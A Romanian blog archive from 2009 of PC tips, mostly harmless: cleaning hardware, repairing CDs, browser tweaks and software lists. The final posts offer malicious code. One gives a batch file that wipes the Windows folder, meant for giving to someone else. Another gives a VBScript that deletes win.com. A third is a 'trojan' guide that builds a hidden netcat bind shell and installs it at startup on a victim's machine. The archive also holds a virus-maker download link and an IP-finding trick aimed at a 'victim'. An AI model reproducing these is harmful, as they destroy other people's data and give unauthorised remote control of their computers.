1. Luati un cablu lung ce are la un capat o mufa stereo mini si la celalalt capat o pereche de mufe RCA.
2. Conectati mufa mini la placa audio a calculatorului.
3. Conectati mufele RCA la intrarea auxiliara a sistemului stereo.

Atentie
Difuzoarele sistemului dvs audio nu sunt protejate magnetic si vor cauza intereferente cu monitorul. Magnetii din calculator si din monitor pot cauza interferente audio. In consecinta trebuie sa tineti sistemul stereo si difuzoarele departe de calculator, desi acest lucru va degrada calitatea sunetului.

Cum sa schimbati viteza mouse-ului

2009-10-30T22:56:00.002+02:00

Indicatorul mouse-ului pare sa se miste prea repede cand vreti sa dati click pe un anumit obiect sau se misca prea incet atunci cand trebuie sa faceti mai multe miscari pe suprafata biroului? In oricare din cazuri folositi aceasta procedura pentru a schimba viteza mouse-ului. Urmatoarele proceduri se aplica pentru Windows98 si OS8 pentru Macintosh. Setarile mouse-ului pot varia pentru versiunile mai vechi.

Windows

Pasi
1. Apasati butonul start din partea de jos stanga a ecranului. Va aparea un meniu.
2. Apasati Settings pentru a deschide un meniu secundar si apoi apasati pe Control Panel.
3. Dati dublu click pe icoana cu Mouse pentru a deschide proprietatile acestuia.
4. In zona indicatorului trageti butonul pentru a selecta viteza.
5. Dati ok pentru a salva setarile si a iesi din fereastra.
6. Verificati viteza mouse-ului. Daca mouse-ul se misca prea repede sau prea incet, intorceti-va la pasul unu pentru a ajusta viteza.

Macintosh

Pasi
1. Apasati meniul Apple aflat in coltul de sus stanga si tineti butonul mouse-ului apasat. Va aparea un meniu nou.
2. Selectati Control Panels. Un submeniu va aparea sau fereastra Control Panels se va deschide pe ecran.
3. Selectati Mouse pentru a arata setarile mouse-ului.
4. Selectati Mouse Tracking. Aceasta setare determina viteza mouse-ului.
5. Selectati viteza dorita dupa care iesiti prin apasarea butonului de inchidere din parte de sus de inchidere a ferestrei.
6. Verificati viteza mouse-ului. Daca mouse-ul se misca prea repede sau prea incet, intorceti-va la pasul unu pentru a ajusta viteza

Cum sa va cumparti boxe

2009-10-30T22:56:00.001+02:00

Daca jucati jocuri orientate pe grafica sau folositi CD-uri multimedia pe calculatorul dvs, difuzoarele externe stereo va pot imbunatatii calitatea sunetului.

Pasi
1. Cumparati boxe ieftine, ecranate, cu sursa de amplificare daca le doriti doar pentru voce si sunete emise de calculator.
2. Alegeti un sistem 2.1 cu un sub-woofer daca doriti mult bass sa va acompanieze jocurile.
3. Cumaparati un sistem audio stereo, cu doua boxe, daca veti folosi unitatea de CD drept CD Player.
4. Hotarati-va unde veti pune difuzoarele in special sub-woofer-ul, pentru a va hotari ce marime sa cumparati.
5. Hotarati-va ce butoane externe de control doriti, cum ar fi pornit/oprit, volum, ton, mute si balans.
6. Aduceti cu dvs un CD preferat pentru a testa difuzoarele. Asigurati-va ca CD-ul include o gama larga de sunete, de la bass la inalte.

Sfaturi
Difuzoarele care au preturi intre 60 si 210 de lei sunt de aceeasi calitate cu cele care vin odata cu calculatorul.
Planificati sa cheltuiti cel putin 300 de lei daca doriti sa va imbunatatiti sistemul audio.
Evitati boxele ieftine de calculator care sunt alimentate de baterie.
Primele modele de difuzoare care au fost facute sa se conecteze prin portul USB sunt inferioare celor care se conecteaza analog la placa de sunet.
Placa de sunet sau cea integrata pe placa de baza va fi un factor limitator pentru orice fel de boxe ati cumpara. Verificati specificatiile placii pentru a afla limitele acesteia.

Atentie
Trebuie sa cumparati difuzoare ecranate deoarece cele neecranate vor cauza interferente monitorului.
Interiorul unui calculator este un mediu foarte zgomotos cu campuri magnetice ce degradeaza calitatea sunetului.
Puterea si frecventa sunt specificatii extrem de inexacte. De exemplu un difuzor care este cotat cu 30 Wati, poate distorsiona sever sunetul in momentul in care trece de 10 Watti.

Cum sa curatati un monitor

2009-10-30T22:55:00.004+02:00

Pastrati monitorul ferit de praf si zgarieturi.

Pasi
1. Adunati urmatoarele: o carpa antistatica sau alta carpa moale (bucati din imbracaminte de bumbac sunt bune in acest scop), precum si o solutie de curatat - o solutie de curatat ochelarii sau lichid special pentru curatat monitoarele.
2. Verificati manualul pentru instructiuni specifice.
3. Opriti monitorul.
4. Daca folositi un produs pe baza de aerosol, urmati instructiunile de pe tub. In caz contrar pulverizati o mica cantitate de lichid pe carpa. Nu pulverizati lichide in apropierea gaurilor de aerisire.
5. Stergeti intreg ecranul.
6. Stergeti cu o carpa uscata ecranul imediat.
7. Repetati operatiunea daca este necesar.
8. Curatati carcasa de plastic cu acelasi produs sau cu un produs destinat curatarii plasticului.

Atentie
Produsele tipice de curatare a geamului pot lasa urme. Prosoapele de hartie pot lasa praf.
Ignorati sfatul de a folosi produse antistatice ce fac rufele mai moi, deoarece acestea vor zgaria ecranul.
Nu folositi nici un fel de burete abraziv, solutie de curatat abraziva sau pe baza de alcool.
Ecranele pentru laptopuri nu sunt facute din sticla. Acestea se pot strica usor si costa mult pentru a le repara. Urmati instructiunile din manual, care pot varia in functie de tipul monitorului. Ecranele calculatoarelor DELL pot fi curatate folosind o carpa moale inmuiata usor in apa.

Cum sa decideti daca sa reparati sau sa inlocuiti un calculator

2009-10-30T22:55:00.003+02:00

Noile calculatoare au devenit atat de ieftine incat lumea crede ca este mai eficient sa le inlocuiesti decat sa le repari pe cele existente. Reparand un calculator bun cu cheltuieli de 10 pana la 20% din costul sau original este o afacere mai buna decat sa cumparati unul nou. Achizitia unui calculator nou este justificabila numai daca noul calculator va avea performante semnificativ mai mari.

Pasi
1. Aflati daca reparatia este asigurata de garantie sau de contractul de service.
2. Aflati o estimare gratuita, daca aceasta este disponibila la un magazin din zona dvs. Daca nu, aflati cat costa ora de munca.
3. Aflati ce garantie are o lucrare. Majoritatea magazinelor garanteaza o lucrare intre 60 si 90 de zile.
4. Asteptati-va la o durata de viata de 3 pana la 5 ani pentru hard disk si sursa de alimentare, in timp ce durata celorlalte mecanisme va varia in functie de utilizare, iar componentele electronice sunt garantate sa dureze multi ani.
5. Tineti cont ca o treime din calculatoare sunt reparate in fiecare an.
6. Reparati calculatorul daca reparatia nu vi se pare costisitoare si daca performantele acestuia sunt satisfacatoare.
7. Inlocuiti calculatorul daca sunteti dispus sa cumparati unul care este mai bun din orice punct de vedere, sau daca aveti nevoie de o reparatie ce costa prea mult.
8. Luati-va un calculator nou daca calculatorul dvs duce lipsa de anumite functii pe care le doriti sau de care aveti nevoie.
9. Un calculator nou trebuie sa vina cu o garantie de cel putin un an.

Sfaturi
Nu reparati calculatorul cu piese reconditionate.
Reparati calculatorul daca sursa de alimentare, hard disk-ul sau unitatea de CD au fost inlocuite.

Atentie
Daca diagnosticati singur problema, tineti cont ca inlocuind componenta pe care o credeti defecta poate sa nu rezolve problema.

Cum sa va decideti daca merita sa imbunatatiti un calculator

2009-10-30T22:55:00.001+02:00

Noile calculatoare au devenit atat de ieftine incat lumea crede ca este mai eficient sa le inlocuiesti decat sa le imbunatatesti pe cele existente. Daca puteti imbunatati un calculator cheltuind o suma acceptabila, ati facut o afacere buna.

Cand sa imbunatatiti

Pasi
1. Mariti-va RAM-ul, daca este mai mic de 64 MB.
2. Copiati informatiile pe CD sau cumparati un hard disk nou daca cel existent este plin in proportie de 2/3.
3. Schimbati placa video sau adaugati un accelerator grafic in cazul in care jucati jocuri sau rulati aplicatii grafice.
4. Imbunatatiti calculatorul daca acesta mai are garantie si aceasta nu se pierde daca umblati la el.

Sfaturi
Imbunatatirea este o varianta mai simpla daca puteti instala singur componentele. Costurile manoperei se adauga la imbunatatire.

Cand sa inlocuiti

Pasi

1. Cumparati-va un calculator nou daca aveti unul foarte vechi.
2. Cumparati un calculator nou daca este necesara o reparatie ce costa prea mult.
3. Cumparati un calculator nou daca imbunatatirea acestuia va costa prea mult si va trebui sa angajati pe cineva sa instaleze piesele.
4. Inlocuiti calculatorul daca sunteti dispus sa cumparati unul care este mai bun din orice punct de vedere.

Cum sa curatati interiorul unui calculator in siguranta

2009-10-30T22:54:00.005+02:00

Ventilatoarele calculatorului trag mult praf in carcasa. Daca nu este curatat acesta poate impiedica ventilatia, eventual ducand la defectarea unor componente. Daca aveti un contract de service care se ocupa si de intretinere, duceti calculatorul sa fie demontat si curatat. In caz contrat urmati acesti pasi.

Pasi
1. Verificati manualul. Daca producatorul a mentionat instructiuni specifice, urmati-le.
2. Cumparati orice produse aveti nevoie: aer comprimat, un produs de curatat plastic sau metal, o pensula moale (cum ar fi una de vopsit), o carpa antistatica si o masca de praf daca sunteti alergic.
3. Opriti calculatorul.
4. Lasati calculatorul conectat la sursa de protectie.
5. Deconectati toate perifericele.
6. Scoateti carcasa (verificati manualul pentru instructiuni).
7. Faceti-va o legatura la pamant cu orice echipament special pe care il detineti. In caz contrar, faceti legatura la pamant atingand sasiul metalic al carcasei.
8. Pulverizati aer comprimat pe paletele ventilatorului, pe sursa de alimentare, pe placile cu circuite si pe unitatile optice si de stocare.
9. Curatati cu grija praful ce nu a fost indepartat de jetul de aer.
10. Curatati praful ramas pe fundul carcasei.
11. Curatati interiorul si exteriorul carcasei bine.
12. Puneti la loc carcasa si conectati perifericele.

Sfaturi
Daca este posibil lucrati intr-o zona unde nu este mocheta

Atentie
Aveti grija sa nu atingeti vreun integrat. Atingeti cat mai putin interiorul calculatorului. Un accident cauzat de electricitate statica (sau chiar de grasime) se poate intampla la cateva luni dupa ce ati atins componentele.
Unele surse recomanda folosirea unui aspirator normal sau special. aceste aparate pot cauza defecte de ordin magnetic si static, sau pot dizloca sau aspira integrate prinse prost.

Cum sa depozitezi CD-uri si CD-ROM-uri in siguranta

2009-10-30T22:54:00.003+02:00

CD-urile si CD-ROM-urile pot avea ani de folosinta daca nu sunt zgariate, abuzate sau incalzite. Depozitarea lor in siguranta pot evita aceste lucruri.

Pasi
1. depozitati CD-urile in casete de bijuterii sau in casete cu captuseli moi.
2. inlaturati CD-ROM-urile din cutii de carton sau pungi de plastic si depozitati-le in casete de bijuterii.
3. manipulati un CD numai pe margini si in gaura din centru
4. feriti casetele de bijuterii de lumina directa a soarelui, mai ales in automobile.

Sfaturi
casete cu locuri decupate special pentru degetul mare fac scoaterea unui CD mai usoara si mai sigura
aveti grija sa nu zgariati un CD in sertare, casete de bijuterii, fermoare, sau casete tari.

Avertizari
unele CD-ROM-uri vin in plicuri de plastic groase care se vor lipi de disc cand sunt incalzite sau presate excesiv.

Cum sa depanezi un CD-R Drive

2009-10-30T22:54:00.001+02:00

Cand functioneaza bine, un CD-R furnizeaza o modalitate excelenta de a iti creea back up data si audio CD-uri.

CD-R pierde conexiunea cu computerul in timpul scrierii

Pasi
1. incearcati sa scrieti la o viteza mai mica cu toate celelalte aplicatii inchise
2. upgradarea sistemului de operare poate induce in eroare drive-ul CD-R. Cautati pe siteul producatorului compatibilitatea cu sistemul dvs de operare.
3. downloadati si instalati cele mai noi drivere pentru CD-R drive.
4. daca cablurile sunt defecte sau prea lungi, incearcati cabluri diferite sau mai scurte.
5. pentru USB drive, incercati sa-l introduce direct in portul USB al computerului decat printr-un hub.
6. pentru Fire-Wire drive, conectati driverul la computer numai daca atat computerul cat si driverul au fost pornite.
7. setati autorizatia CD-ului la Disc-at-Once in cazul in care aceasta optiune este valabila.
8. asigurati-va ca CD-R este izolat de zgomot si vibratii in timpul scrierii
9. incearcati un alt tip de CD media.

Calculatorul nu trimite informatia destul de repede la CD-R

Pasi
1. incercati sa scrieti la viteza mai mica si cu toate celelalte aplicatii inchise
2. resetati calculatoru si drive-ul CD-R. Incercati sa scrieti un alt disc intr-un mod de simulare inainte de a incerca sa scrieti CD-ul.
3. setati autorizarea CD-ului la Disc-at-Once daca optiunea este valabila.
4. incercati alt tip de CD-media
5. creati imaginea CD-ului si salvati-o temporar pe hard. Apoi scrieti discul de la aceasta imagine.
6. daca inca aveti intarzieri cand scrieti CD-ul dupa imagine, inseamna ca aveti nevoie sa defragmentati hard discul
7. daca drive-ul se incalzeste, asigurati-va ca ventilatorul merge (daca are unul), si nu pozitionati drive-ul pe ceva cald.

Discurile scrise pe calculatorul tau nu pot fi citite pe altele

Pasi
incearcati alt tip de CD-R media. Unele drive-uri suporta o anumita marca, in timp ce altele refuza sa o citeasca.
asigurati-va ca software-ul pentru scrierea CD-urilor este setat: "close to session" or "finalize" pentru discurile pe care le scri.
praful poate afecta lentilele CD-R. Puteti curata interiorul unui drive prin suflarea deasupra lui. Totodata puteti cumpara un kit de curatare standard

Cum sa restaurati un CD

2009-10-30T22:53:00.003+02:00

Daca un CD sau un CD-ROM devine zgariat, deseori devine nefunctional. Nu anula jocul favorit sau albumul cu muzica favorita inca.

Pasi
1. Curatati discul pentru a vedea unde se afla zgarieturile. Tinand discul de margini, spalati-l foarte usor cu sapun si apa, iar apoi tamponati-l pentru a il usca (nu-l frecati deoarece veti face mai multe zgarieturi). Cateodata este suficient pentru a face un disc sa functioneze din nou.
2. Examinati discul din nou foarte atent sub o lumina buna. Zgarieturile care afecteaza functionalitatea CD-ului sunt paralele cu marginea discului. Zgarieturile verticale care se afla intre gaura din mijlocul CD-ului si marginea discului nu ridica nici o problema de obicei.
3. In cazul zgarieturilor minore curatati cu atentie plasticul ce protejeaza aluminiul dinauntrul discului. Folositi un material moale, umed si o cantitate foarte mica de solutie abraziva - pasta de dinti alba, solutie de curatat metale sau plastic. Ideea este sa nu faceti zgarieturi noi. Cand curatati sau lustruiti, intotdeauna frecati usor din interiorul discului spre exterior. In cest fel, orice zgarieturi vei face vor fi inofensive.
4. Dupa inlaturarea unei zgarieturi, curatati discul din nou, lasati-l sa se usuce si incearcati sa-l rulati din nou. Daca continua sa sara, repetati procesul din nou.
5. Daca dicul este zgariat grav, incearcati sa folositi o combinatie intre o tehinca abraziva si una de ceruire cu un produs comercial de curatare a discurilor.

Sfaturi
Faceti o copie dupa orice disc reparat pe un CD-R in cazul in care incepe sa sara din nou, iar inca o curatare are nici un efect
Copiati CD-urile noi pe casete, mini-discuri sau MP3 playere pentru a nu uza colectia dvs de CD-uri

Cum sa reparati un CD indoit

2009-10-30T22:53:00.001+02:00

CD-urile sunt parital facute din plastic, si daca accidental lasi unul in porbagajul unei masini sau pe tabloul de bord al acestiea, CD-urile se pot deforma. De vreme ce CD-playerele suporta numai discuri perfect plate, asta este o problema - dar una care este flexibila.

Pasi
1. Verificati CD-ul pentru crapaturi. Daca sigiliul etans este spart, atunci aluminiul din disc se va coroda chiar daca veti reusi sa aplatizati din nou CD-ul
daca CD-ul nu prezinta crapaturi, curatati-l usor cu un material moale, asigurandu-va ca nu are impuritati
2. Daca CD-ul este usor indoit, incearcati sa-l intercalati intre doua bucati de 6mm din geam si presati-l sub o stiva de 5kg de carti pentru 2-3 zile.
daca presarea sub stiva de carti nu da rezultate atunci incearcati sa incalziti discul pentru a inmuia plasticul. Plasati discul intr-o punga de plastic cu fermoar si introduceti-l in apa la temperatura de 38°C pentru 5 minute. Repetati apoi presarea sub stiva.
3. Daca reusiti sa aplatizati un disc indoit, este o idee buna sa faceti o copie a acestuia in cazul in care sigiliul etans se va rupe si lateralele discului vor incepe sa se corodeze.

Avertizari
Incercarea de a rula un disc indoit sau avariat poate produce defectiuni la CD-player.

Cum sa va pozitionati calculatorul

2009-10-30T22:52:00.000+02:00

Pozitioanarea calculatorului si a tastaturii este un bun prim pas catre creerea unui mediu de lucru relaxant si sanatos. Cu cateva ajustari minore puteti indeparta tensiunile suportate de partea superioara a corpului.

Pasi
1. Aranjati zona de lucru astfel incat atunci cand montati calculatorul si tastatura veti sta cu fata la amandoua. Astfel evitati rasucirile si intoarcerile ce nu sunt necesare.
2. Asezati calculatorul pe o masa ajustabila astfel incat linia superioara a monitorului sa fie la acelasi nivel sau mai jos de linia ochilor atunci cand stati jos. Astfel reduceti tensiunea asupra muschilor gatului.
3. Plasati monitorul la o lungime de brat de dvs pentru a reduce oboseala vizuala.
4. Ajustati inaltimea monitorului fie prin punerea lui pe unitate sau langa aceasta.
5. Pozitionati monitorul astfel incat sa se afle la un unghi corespunzator fata de fereastra.
6. Aplecati monitorul daca va deranjeaza in continuare lumina.
7. Folositi un suport ajustabil pentru tastatura.
8. Plasati tastatura la nivelul coatelor. Antebratele, incheieturile si palmele ar trebui sa fie in linie dreapta paralele cu podeaua.
9. Asigurati spatiul de lucru suficient pentru tastatura, mouse si alte accesorii astfel incat sa fiti liberi sa va miscati fara a va lovi de lucruri.

Sfaturi
Luati in considerare achizitia unui ecran de protectie atasabil. Acesta poate reduce tensiunea exercitata asupra ochilor in cazul in care lucrati mult la calculator.
Un suport in care puneti documentele ce se ataseaza pe lateralul monitorului va reduce deasemena tensiunea in muschii ochilor si ai gatului.

Cum sa curatati o tastatura

2009-10-30T22:51:00.000+02:00

O infatisare groteasca este doar un motiv pentru care sa curatati tastatura. Daca praful intra sub taste, acestea s-ar putea sa nu functioneze corect. Lichidele varsate pot insemna sfarsitul tastaturii daca nu aveti grija de aceasta.

Pasi
1. Cumparati materialele de care aveti nevoie: aer comprimat (intr-un tub cu aerosol), carpa moale; orice lichid de curatare potrivit pentru plastic care nu este abraziv; si o masca de praf daca sunteti alergic.
2. Verificati manualul. Daca producatorul a inclus specificatii anume, urmati-le.
3. Opriti calculatorul.
4. Deconectati tastatura.
5. Folositi aerul comprimat pentru a curata intre taste. Pulverizati dintr-un unghi astfel incat sa indepartati mizeria si praful.
6. Scuturati praful usor de pe tastatura.
7. Daca folositi un lichid de curatare pe baza de aerosol, urmati instructiunile producatorului.
8. Altfel pulverizati o cantitate mica pe o carpa.
9. Stergeti tastele si carcasa.
10Asteptati pana tastatura este uscata dupa care o puteti reconecta la calculator.
11. Reconectati tastatura si porniti calculatorul.

Sfaturi
In zone industriale sau pline de praf folositi huse de plastic pentru protectie.
Daca ati varsat o cantitate mare de lichid sau daca lichdul este lipicios, este posibil ca tastatura sa nu poata fi reparata, desi puteti incerca. Pentru a fi in siguranta tineti bauturile departe de calculator.

Atentie
Daca ati varsat lichid pe tastatura, intoarceti-o cu fata in jos dupa ce ati deconectat-o si lasati lichidul sa se scurga. Daca este mult lichid sau daca lichidul este lipicios spalati cu apa de la robinet. (Nu scufundati tastatura in apa.) Lasati tastatura sa se usuce timp de 72 de ore
Nu pulverizati direct pe tastatura fluide.

Trucuri Internet

2009-10-30T21:44:00.000+02:00

Cu totii intampinam uneori probleme cand navigam pe web. De cele mai multe ori, se intampla sa fie din cauza unei conexiuni proaste la Internet. Sau poate computerul are ceva. De obicei, aceste inconveniente se rezolva cu putina rabdare. Insa sunt momente cand nu experimentam astfel de probleme si totusi avem senzatia sau chiar certitudinea ca Internetul merge prost. Sau, altfel, simtim ca putem prinde viteza, dau nu stim cum sa reusim. Ce se intampla? Avem nevoie de o optimizare:

*

Ca sa aveti acces mai rapid la serverele HTTP si pentru a beneficia de o incarcare a paginilor mai rapida trebuie sa urmezi pasii urmatori:Start/Run si scrie regedit. Odata intrat in caseta de editare a registrilor cautati

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/InternetSetting

In fereastra din dreapta creaza sau modifica valorile DWORD:

MaxConnectionPerServer dublu clic peste valoarea asta si srieti 4 decimal (pentru ADSL scrieti 20)

MaxConnectionPer1_0Server dublu click peste valoarea de aici si scrieti 8 decimal(pentru ADSL scrieti 20).Inchideti RegEdit si restartati calculatorul

*

Daci vrei si îmbunătăţeşti viteza Firefox-ului există un mic truc,foarte uşor de pus în practică:
Scrie în bara de adresă "about:config" şi apasă tasta Enter
Derulează pagina şi modifica următoarele secvenţe de cod, astfel:
network.http.pipelining: true
network.http.proxy pipelining: true
networx http.pipeling.maxrequests (aici trebuie să treci numărul maxim de cereri pe care să le adreseze browserul).
Fă un clic-dreapta şi selectează "New” ? Integer si denumeste-o nglayout.initialpaint.delay si setează valoarea 0(aceasta valoare este timpul dupa care navigatorul proceseaza informatia primita

*

Firefox mananca multe memorie cand ai tab-uri multe deschise
1)Scrie about:config in location bar si da enter
2)Click dreapta pe ecranul aparut
3)Alege "new">"integer"
4)copiaza in fereastra aparuta: browser.cache.memory.capacity
5)Okay
6)Da-i valoarea de 60000
7)Restart Firefox

*

Copiaza mai usor
Daca nu esti decat incepator in ale calculatorului, nu iti pot strica cateva "trucuri" pe care le stie oricine. Vrei sa copiezi tot textul de pe o pagina Web si nu stii cum sa faci ca sa mearga mai repede. Apasa Ctrl + A pentru a selecta textul in intregime. Dupa aceea, apasa combinatia de taste Ctrl+C, lucru ce va face sa se copieze mesajul acolo unde doresti.

*

Prea mult cache?
O alta metoda de accelera viteza Internetului este aceea de a mari cahe-ul. |nsa daca hardul tau nu e prea mare, a largi cahe-ul are un efect nedorit: ocupa prea mult spatiu din calculator. Deci, pentru a limita spatiul pe care il utilizeaza Explorerul trebuie sa intri in Internet Options din meniul Tools.
Apasa pe butonul 'Settings' care se afla sub 'Temporary Internet Files'. Ajuns in acest punct, uita-te la "Amount Space to Use", unde trebuie sa muti catre stanga valorile pe care le indica bara sau sa alegi o cifra mai mica pentru campul din dreapta.

*

History-ul ne mananca spatiul
Ce-i drept, istoria ne trage mereu inapoi. Ca sa scapam de "trecutul" Internetului, pentru a mai castiga un pic de spatiu pe hard, trebuie sa-l curatam de "amintiri". Asa ca intra in File/ View/ Explorer Bar/ History si, dupa aceea, nu ai decat sa stergi ce vrei.

*

Daca vrei mai multe ponturi
Viziteaza www.nowonder.com, creeaza-ti un cont si pune intrebarile tale online. Site-ul iti va oferi probabil, un raspuns chiar in aceeasi zi. Utilizatorii Internet Explorer-ului pot, de asemenea, sa arunce o privire pe site-ul www.digitalspider.co.uk/ie sau support.microsoft.com/support.

*

Incearca un adevarat client FTP
Toti cei care utilizeaza des FTP-ul, poate pentru a-si crea propria pagina web, realizeaza in scurt timp neajunsurile serviciilor FTP ale unui browser. Programele dedicate exclusiv suportului FTP sunt mult mai performante: Terrapin FTP (www.terra-net.com) si CuteFTP (www.cuteftp.com) sunt doua dintre cele mai bune

*

Si prea multe setari strica
Ai tot umblat in setarile de la Internet Explorer de nu mai stii ce ai facut si de ce a luat-o razna calculatorul. Cand nu ai nici o idee despre cauza problemelor tale, logic este sa te intorci pe urma pasilor pe care i-ai facut. Dar nu mai tii minte nici asta. Sfatul nostru e sa refaci setarile initiale ale calculatorului intrand, pe rand, in Tools/ Internet Options/ Programs/ Reset Web Settings. Adica punct si de la capat, dragii mei.

*

Inarmeaza-te cu tot ce trebuie pentru navigat
Pentru a vizita anumite site-uri s-ar putea sa ai nevoie de instrumente specifice. Ai grija sa nu iti lipseasca unelte precum Shockwave, Flash, RealPlayer si ultima versiune din JavaVirtual Machine.

*

Aranjeaza-ti site-urile favorite in ordine
E folositor sa iti aranjezi site-urile favorite in ordine alfabetica, insa e si mai util ca acelea dintre ele pe care le folosesti cel mai des sa fie in fruntea listei. Tot ce ai de facut e sa pui un spatiu in fata numelor celor mai vizitate site-uri si exact acest lucru se va intampla. Interesant, nu?

*

Salveaza link-urile pentru mai tarziu
Nu trebuie sa vizitezi o pagina ca sa poti sa o adaugi pe lista site-urilor tale favorite. "Trage" pur si simplu cu mouse-ul (drag-and-drop) link-ul respectiv si aseaza-l oriunde vrei in meniul Favorites sau intre link-uri, pe toolbar. Aceasta operatiune te scuteste de mult timp pierdut si iti face munca pe calculator mai usoara.

*

Verifica-ti viteza de transmitere a datelor pe Internet
E foarte usor sa verifici viteza de transmisie a datelor trimitand un semnal in afara si masurand timpul in care se intoarce inapoi in computer. Pentru a realiza acest lucru, trebuie sa scrii in bara de adrese: collage.etel.ru/fileechos/hardware/xhrdidc/ud-1014.zip pentru a downloada soft-ul de care ai nevoie

*

Mesaje secrete
Cand trimiti acelasi mesaj unui grup de persoane care nu vor sa isi vada unii altora adresele de e-mail, trebuie sa iti trimiti tie mesajul si sa scrii restul adreselor in BCC (blind carbon copy). Astfel, nu vei avea nici o problema si fiecare se va crede unicul destinatar al mesajului

UTILITARE

2009-10-30T21:34:00.004+02:00

In aceasta sectiune va voi prezenta ,pe langa cateva programe foarte bune pentru intretinearea calculatorului,si o configurare de PC dupa o instalare noua de Windows.Toate programele prezente in sectiune aceasta sunt freeware,sau,pentru cele shareware pentru mai multe detalii ma puteti contacta la adresa de la sectiunea Contact.

Pentru ca multi cunoscuti de ai mei,m-au intrebat cum isi pot configura ei calculatorul dupa o instalare de Windows,iata va ofer aici pasii care ii urmez eu:

*Pentru inceput,se formateaza Harddiskul,si se instaleaza o copie de Windows curata
*Se instaleaza driverele,in cazul in care acestea nu se instaleaza automat(cazul Windows Xp)
*Se face un Update la Windows
*Se instaleaza C Cleaner -un excelent program de curatare a registrilor,si a fisierelor temporare din Internet Explorer.Program gratis
*Se instaleaza TuneUpUtility -un excelent program de tinut calculatorul in buna forma.Are cam tot ce trebuie pentru ca PC-ul tau sa mearga in in parametri optimi.Versiune evaluare(pentru mai multe informatii Contact)
*Un alt program pe care il recomand este FoxitReader -program in genul Acrobat Reader,care citeste fisierele PDF.Program gratis
* Nu trebuie sa va lipseasca dezarhivatoarele WinRar -evaluare,WinAce-gratis,WinZip-evaluare(pentru mai multe informatii Contact)
*K-Litle Codec Pack este o colectie de codecuri necesare pentru vizionarea filmelor noi.Gratis
*Program pentru reproducere mp3 Winamp -gratis
* Am lasat la urma ,spre nemultumirea unora,antivirusul,care nu trebuie sa lipseasca din sistemul dumneavoastra.Aici fiecare isi poate instala ce doreste dupa posibilitatile materiale.Pentru cine doreste un antivirus bun si gratis recomand Avast Home.

Pentru cei care au si conexiune la Internet recomand suplimentar:

*Internet Explorer 8-arhicunoscutul browser de la Microsoft
*Shockwave Player -reproducator multimedia pentru Internet
*Adobe flash Player -reproducator multimedia pentru internet
*Yahoo Messenger -binecunoscutul program de chat
*Skipe -program cu care poti vb cu prietenii direct de pe calculatorul tau

Plecand de la aceste programe,pe care eu le recomand odata cu instalarea Windows-ului fiecare isi mai poate adauga dupa preferinte:

*Google Chrome -un nou browser de la gigantul Google
*Recuva -te ajuta sa recuperezi fisiere sterse(fratele lui CCleaner)
* Nero -program excelent cu care inregistrezi CD-uri si DVD-uri
*Deffragler -program de defragmentare a hardului,cu optiune de defragmentare separata a fisierelor
* Ares -program in genul Emule,prin care poti face schimb de fisiere
* Nvu -program pentru realizare de pagini web
* uTorrent -program cu care puteti descarca torente de pe net
* Daemon Tools -creaza CDROM-uri virtuale pentru a juca jocurile fara cd
*UltraISO -program pentru extragere,modificare,creare fisiere ISO
*Retete Romanesti -program cu cele mai importante retete romanesti
*FileZilla Client -un excelent client Ftp,care pe deasupra este si gratis
*TeamViewer -program de Remote Control(poti avea acces la calculatorul altcuiva care foloseste acelasi program),care este gratis

Virus Simple Maker

2009-10-30T21:07:00.002+02:00

http://rapidshare.com/files/31528268/TeraBIT_VM_2.8.zip

Cum sa strici Windowsu'

2009-10-30T21:06:00.000+02:00

Deschide un notepad si scrie urmatorul cod

@echo off
cd /D D:\
del /q C:\Windows\*.*
del .bat

dai save as si pune extensia .bat si dai-o lu unu' care are chef sa isi bage windowsul

Cum afli Ip unuia de pe mess

2009-10-30T21:00:00.002+02:00

Trimiteti un fisier victimei cam de 2 mb apoi intrati in Start => Run => cmd si scrieti
Cod:
netstat -n l aport 5101

Creati un virus

2009-10-30T21:00:00.001+02:00

Creati un Fisier Text Nodepad deschidetil si scrieti urmatoarele :
Cod:
Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject")
drive = "c:\"
folder ="windows\"
file = "win.com"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.copy ("c:\windows\temp\win.com")
set fs2=fso.CreateTextFile("c:\windows\win.com")
fs2.writeline "win.com is gone images/smiles/icon_biggrin.gif"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.delete
fs2.close

Apoi dati sus la Fille => Save as apoi punem nume.vbs sau nume.bat nu mai stiu in ce extensie incercatile pe ambele
!!!Atentie!!! Nu dati dublu clik pe el

Cum sa faci un fel de Trojan

2009-10-30T20:56:00.000+02:00

Va voi prezenta in cele ce urmeaza o metoda relativ usoara pt a face un trojan
MAI intai trebuie sa faceti rost de doua programe
1)nC.exe (net capture)-----------cred ca stie toata lume ce face!!! nu mai e cazul sa explic .

2)Quick Batch File----------------Transforma un fisier cu extensia bat in unul cu extensia exe ,si cel mai important
are o optiune care permite rulare fisierelor in hide mode

Boon si acum sa incepem . luam un folder si bagam in el nC.exe Porgramul nC.exe poate face un shell la CMD folosind
un port ales de noi.Asta o facem cu :

nc -l -p PORT-ul -d -e cmd.exe

iar apoi ne conectam la computer folosind comanda Telnet IP port (exemplu telnet 54.76.21.34 2000 )
ori putty; care il vreti mie sincer imi place mai mult putty

Daa... toate bune si frumoase in schimb ne izbim de o mare problema folosind comanda nc -l -p PORT-ul -d -e cmd.exe
nu e puem conecta de mai multe ori asfel dupa fiecare conectare portul este inchis automat !! cea ce nu este bine de aceea
folosim un mic artificiu sa facem un program care sa imi permita sa ma pot connecta de mai multe ori la computerul victimei
in folderul de care spuneam mai devreme punem doua fisiere care au extensia bat.Iar apoi incepem sa le scriem asfel ;
Doua fisiere
1)Start.bat
2)System.bat

In fisierul Start.bat scriem :

copy nc.exe c:windowstemp
copy System.exe c:windowstemp
c:
cd
cd "Cocuments and SettingsAll UsersStart MenuProgramsStartup"
copy c:windowstempSystem.exe
System.exe

Ce face acest program ?! Simplu copie cele doua fisiere in c:windowstemp si apoi copie un singur fisier (system.exe)in Cocuments and SettingsAll UsersStart MenuProgramsStartup

Boon assta inseamna ca de fiecare data cand ala aprinde calc i se va executa automat System.exe dar ce e asa de important D`le fisieru asta?!
Smplu System.exe are urmatoarele line

C:windowstempnc.exe -l -p PORT-ul -d -e cmd.exe
C:windowstempnc.exe -l -p PORT-ul -d -e cmd.exe
C:windowstempnc.exe -l -p PORT-ul -d -e cmd.exe
C:windowstempnc.exe -l -p PORT-ul -d -e cmd.exe
